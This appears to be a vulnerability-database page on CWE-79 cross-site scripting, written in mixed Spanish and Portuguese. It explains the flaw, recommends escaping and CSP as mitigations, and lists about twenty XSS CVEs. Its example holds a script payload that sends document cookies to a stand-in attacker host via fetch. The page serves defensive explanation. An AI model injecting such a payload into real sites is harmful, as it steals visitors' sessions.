Fallos del tipo CWE-79

30.284 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-13734MEDIUMCard Elements for Elementor <= 1.2.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Profile Card WidgetEPSS 0.3%CVE-2025-61312HIGHA reflected cross-site scripted (XSS) vulnerability in the acc-menu_pricess.php component of GmbH Mecury Managed Print Services (docuForm) vEPSS 0.3%CVE-2026-23630MEDIUMDocmost is vulnerable to stored Cross-Site Scripting (XSS) through Mermaid renderingEPSS 0.3%CVE-2022-36417MEDIUMWordPress 3D Tag Cloud plugin <= 3.8 - Multiple Stored Cross-Site Scripting (XSS) via Cross-Site Request Forgery (CSRF) vulnerabilityEPSS 0.3%CVE-2023-52069MEDIUMkodbox v1.49.04 was discovered to contain a cross-site scripting (XSS) vulnerability via the URL parameter.EPSS 0.3%CVE-2023-6672MEDIUMStored XSS in National Keep's CyberMathEPSS 0.3%CVE-2025-1689MEDIUMThemeMakers PayPal Express Checkout <= 1.1.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2025-4405MEDIUMHot Random Image <= 1.9.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via link ParameterEPSS 0.3%CVE-2026-109960HIGHFroxlor 2.0.0 before 2.3.14 Stored XSS via Customer Theme ValueEPSS 0.3%CVE-2026-100196HIGHLazyLoad Plugin <= 2.4.0 - Unauthenticated Stored Cross-Site Scripting via Comment ContentEPSS 0.3%CVE-2024-51664MEDIUMWordPress Beds24 Online Booking plugin <= 2.0.25 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-23169MEDIUMThe web interface in RSA NetWitness 11.7.2.0 allows Cross-Site Scripting (XSS) via the Where textbox on the Reports screen during new rule cEPSS 0.3%CVE-2024-31160MEDIUMASUS Download Master - Stored XSSEPSS 0.3%CVE-2024-37521MEDIUMWordPress zBench theme <= 1.4.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-109288HIGHOpen WebUI before 0.11.4 Stored XSS via javascript: URLs in Markdown LinksEPSS 0.3%CVE-2026-30830LOWDefuddle: XSS via unescaped string interpolation in _findContentBySchemaText image tagEPSS 0.3%CVE-2024-46077MEDIUMitsourcecode Online Tours and Travels Management System v1.0 is vulnerable to Cross Site Scripting (XSS) via a crafted payload to the val-usEPSS 0.3%CVE-2026-0742MEDIUMSmart Appointment & Booking <= 1.0.7 - Authenticated (Subscriber+) Stored Cross-Site Scripting via saab_save_form_data AJAX ActionEPSS 0.3%CVE-2025-50859MEDIUMReflected Cross-Site Scripting in the Change Template function in Easy Hosting Control Panel (EHCP) 20.04.1.b allows authenticated attackersEPSS 0.3%CVE-2025-7791MEDIUMPHPGurukul Online Security Guards Hiring System search.php cross site scriptingEPSS 0.3%